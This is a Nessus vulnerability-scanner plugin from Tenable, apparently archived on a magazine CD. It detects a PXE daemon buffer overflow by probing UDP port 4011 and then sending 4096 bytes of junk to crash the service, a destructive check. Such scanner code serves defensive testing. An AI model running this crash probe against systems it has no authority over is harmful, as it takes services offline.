home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / modules / nessus-2.2.8.mo / usr / lib / nessus / plugins / pxe_overflow.nasl < prev    next >
Text File  |  2005-01-14  |  2KB  |  99 lines

  1. #
  2. # This script is (C) Tenable Network Security
  3. #
  4. #
  5.  
  6. if(description)
  7. {
  8.  script_id(11612);
  9.  script_bugtraq_id(7129);
  10.  script_version ("$Revision: 1.5 $");
  11.  
  12.  
  13.  name["english"] = "PXE server overflow";
  14.  
  15.  script_name(english:name["english"]);
  16.  
  17.  desc["english"] = "
  18. The remote host is running PXE (Preboot eXecution Environment),
  19. a daemon which can be used to boot diskless clients which
  20. have an intel network card.
  21.  
  22. There is a flaw in the remote PXE which may allow an attacker
  23. to gain a root shell on this host.
  24.  
  25. *** Nessus disabled this service to perform this security check
  26.  
  27. Solution : Disable this service
  28. Risk factor : High";
  29.  
  30.  
  31.  script_description(english:desc["english"]);
  32.  
  33.  summary["english"] = "buffer overflow in pxe daemon";
  34.  script_summary(english:summary["english"]);
  35.  
  36.  script_category(ACT_DESTRUCTIVE_ATTACK); 
  37.  
  38.  script_copyright(english:"This script is Copyright (C) 2003 Tenable Network Security");
  39.  family["english"] = "Gain root remotely";
  40.  family["francais"] = "Passer root α distance";
  41.  script_family(english:family["english"], francais:family["francais"]);
  42.  exit(0);
  43. }
  44.  
  45. #
  46. # The strategy is to send an empty UDP packet and expect an ICMP-unreach message.
  47. # If we don't get one, we crash the remote service and try again. If the results
  48. # differ, then there was a service.
  49. #
  50.  
  51.  
  52. function check(dport)
  53.  local_var sport;
  54.  sport = rand() % 65000 + 1024;
  55.  ippkt = forge_ip_packet(
  56.         ip_hl   :5,
  57.         ip_v    :4,
  58.         ip_tos  :0,
  59.         ip_len  :20,
  60.         ip_id   :31337,
  61.         ip_off  :0,
  62.         ip_ttl  :64,
  63.         ip_p    :IPPROTO_UDP,
  64.         ip_src  :this_host()
  65.         );
  66.  
  67.  
  68.   udppacket = forge_udp_packet(
  69.         ip      :ippkt,
  70.         uh_sport:sport,
  71.         uh_dport:dport,
  72.         uh_ulen :8
  73.         );
  74.     
  75.   filter = string("src host ", get_host_ip(), " and dst host ", this_host(),
  76.  " and icmp and (icmp[0] == 3  and icmp[28:2]==", sport, ")");
  77.   for(i=0;i<7;i++)
  78.   {
  79.       res = send_packet(udppacket, pcap_active:TRUE, pcap_filter:filter, pcap_timeout:1);
  80.     if( res != NULL ) return(1);
  81.   }
  82.   return(0);
  83. }
  84.  
  85.  
  86. if(check(dport:4011) == 0 )
  87.   soc = open_sock_udp(4011);
  88.   send(socket:soc, data:crap(4096));
  89.   r = recv(socket:soc, length:4096);
  90.   if(r)exit(0);
  91.   
  92.   close(soc);
  93.   sleep(1);
  94.   
  95.   if(check(dport:4011) == 1)security_hole(port:4011, proto:"udp");
  96. }
  97.